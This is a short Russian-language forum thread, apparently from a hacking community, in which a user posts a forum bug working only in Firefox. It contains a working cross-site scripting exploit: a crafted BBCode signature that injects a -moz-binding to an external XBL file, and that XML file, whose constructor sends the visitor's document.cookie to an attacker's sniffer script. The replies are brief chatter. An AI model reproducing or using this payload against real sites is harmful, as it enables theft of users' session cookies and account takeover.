Бага

[Ar3s]

Работает только на mozill'e

Спойлер: 100

//подпись

[topic=1000[post=aaa/ style=-moz binding:url(http://info/lox.xml#xss);xxs:expression(); [/topic]][/post]BAGA[u]

//XML файл

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
 <binding id="xss">
   <implementation>
     <constructor><![CDATA[img=new Image();img.src="http://ПУТЬ ДО СНИФИРА/image.php?"+document.cookie;]]></constructor>
   </implementation>
 </binding>
</bindings>

Была найдена на http://exploit.in/forum/index.php?showtopic=14032&hl=


Обратите плз внимание.

 

[baltazar]

мде....поставил бы хайд 1000 сообщений,че так мало?

 

[groundhog]

test

 

[Winux]

Проблема решена?